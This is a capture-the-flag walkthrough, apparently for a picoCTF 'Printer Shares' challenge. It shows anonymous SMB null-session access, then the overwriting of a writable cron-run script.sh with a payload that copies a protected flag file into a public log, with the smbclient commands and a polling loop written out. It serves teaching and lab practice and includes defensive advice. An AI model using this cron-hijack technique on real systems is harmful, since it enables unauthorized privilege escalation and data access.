Description
I accidentally left the debug script in place... Well, I think that's fine - No one could possibly access my super secure directory.
Setup
sudo apt install smbclientSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Connect to the SMB share anonymously and list its contents
ObservationThe description points back at the exposed SMB share from earlier in the series. Try an anonymous null session first and see what is readable without credentials.The public share accepts anonymous (null session) connections just like in the earlier Printer Shares challenges. Once connected, listing the files reveals two items: script.sh and cron.log. Download both so you can inspect them locally.bashsmbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -Nbashsmbclient //<HOST>/shares -p <PORT_FROM_INSTANCE> -Nbashsmb: \> lsbashsmb: \> get script.shbashsmb: \> get cron.logbashsmb: \> exitbashcat script.shbashcat cron.logWhat didn't work first
Tried: Using smbclient with -U to supply a username and password instead of a null session
The server returns an authentication error because there are no valid credentials to give it. The share is open to anonymous connections, so passing a username only adds a step. -N skips the prompt and connects as a null session.
Tried: Running enum4linux or nmap SMB scripts to enumerate shares before connecting
Those tools list share names, which smbclient does in one flag. And they do not show the files inside a share, so you still need smbclient to download script.sh and cron.log. Connect directly.
Learn more
Null sessions let a client authenticate with an empty username and empty password. Unless
restrict anonymousis set in the Samba config, the server hands over a tree-connect handle and the client can enumerate and transfer files freely. This default open posture is why anonymous SMB access keeps appearing across the Printer Shares series.Once you read
script.shyou will see it is a health-check script that appends output tocron.log. Readingcron.logshows regular timestamps, confirming the script runs automatically every minute. That scheduled execution is the key to the exploit: you can overwrite the script and the cron job will run your version.Step 2Overwrite script.sh with a payload that copies the flag
Observationscript.sh on the share runs every minute under cron, and the share accepts anonymous writes. Replace it with a payload that reads the flag from the protected directory and appends it to the readable cron.log.Because the share is both anonymous and writable, you can replace script.sh with any content you like. Write a new version of the script that reads the flag from the protected directory the cron user has access to and appends it to cron.log, which lives on the public share where you can retrieve it.bash# Create the malicious script.sh locallybashcat > script.sh << 'EOF'bash#!/bin/bashbashecho "Health Check: $(date)"bashcat /challenge/secure-shares/flag.txt >> /challenge/shares/cron.log 2>&1bashEOFbash# Upload the modified script back to the sharebashsmbclient //<HOST>/shares -p <PORT_FROM_INSTANCE> -N -c 'put script.sh'What didn't work first
Tried: Trying to open a reverse shell from the payload instead of writing the flag to cron.log
A reverse shell needs the server to connect back to you, which NAT and the CTF network isolation block. The cron job runs your script and the connection times out silently. cron.log works as the channel because it already sits on the share you can read, with nothing leaving the server.
Tried: Hardcoding /root/flag.txt or /flag.txt as the flag path in the payload
The flag is not at a root-level path here. Redirect stderr into the log and a wrong guess shows up as a no-such-file error on the next run. The real path sits under the challenge directory, readable by the cron user but not by your anonymous session.
Learn more
The attack is a classic cron job hijacking: a privileged automated process runs a script that an unprivileged user can overwrite. The cron job runs as a user that has read access to the flag in the protected directory. Because cron executes whatever is in
script.sh, replacing that file with your own payload gives you the cron user's effective permissions for one minute.The payload redirects the flag into
cron.log, a file on the same public share you can already read anonymously. The2>&1redirect captures any error messages too, which helps debug path mistakes. If the path to the flag is different on the challenge instance, check cron.log for error output and adjust accordingly.In real-world penetration testing, writable cron scripts are a high-severity finding. The attacker does not need any credentials, no shell access, and no exploit: the privilege escalation is entirely configuration-driven. Defence is straightforward: make cron scripts owned by root and non-writable by any unprivileged user or group.
Step 3Wait for cron to run, then retrieve the flag from cron.log
ObservationThe timestamps in cron.log sit about a minute apart, which confirms the interval. Wait at least that long after uploading before pulling a fresh copy.The cron job fires every minute. After about 60 seconds, download the updated cron.log from the share. The flag will be appended at the bottom of the file.bash# Wait approximately one minute, then download the updated logbashsmbclient //<HOST>/shares -p <PORT_FROM_INSTANCE> -N -c 'get cron.log'bashcat cron.logExpected output
Health Check: Mon Jan 1 00:00:01 UTC 2026 picoCTF{...}What didn't work first
Tried: Downloading cron.log immediately after uploading the modified script.sh
The job runs on a fixed schedule, once a minute, not on demand. Fetch the log seconds after uploading and you get the version written before your script ran. Wait a full minute, or poll every ten seconds.
Tried: Using cat on the local cron.log file you already downloaded before uploading the payload
The get command overwrites your local copy with whatever is on the share at that moment. The copy you saved in step 1 predates your payload and holds nothing. Fetch again after the interval passes.
Learn more
Timing matters here. If you download cron.log too soon, you will get the old version without the flag. Wait the full minute (or a little longer to be safe) before fetching the file. You can also loop the download until the flag pattern appears:
until grep -q 'picoCTF' cron.log; do smbclient //<HOST>/shares -p PORT -N -c 'get cron.log'; sleep 10; doneThis writable-script-plus-cron pattern appears frequently in CTF privilege escalation chains and in real penetration tests. Tools like
pspymonitor running processes without root to spot these scheduled jobs on a live system. Here the cron.log timestamps in the original file make the schedule obvious without needing any process monitoring.
Interactive tools
- Hex ViewerView text or raw hex bytes as a xxd-style hex dump with byte offset, hex columns, and ASCII sidebar. Highlights printable characters and null bytes.
- Strings ExtractorPull printable text from any binary, library, or image. ASCII and UTF-16 detection, configurable minimum length, flag-like highlight, no command line needed.
Flag
Reveal flag
picoCTF{...}
This flag could not be verified. It is only readable from a live instance's cron.log, and no independent solve publishes the value, so the site's earlier guess has been withdrawn. The steps below still recover it from your own instance.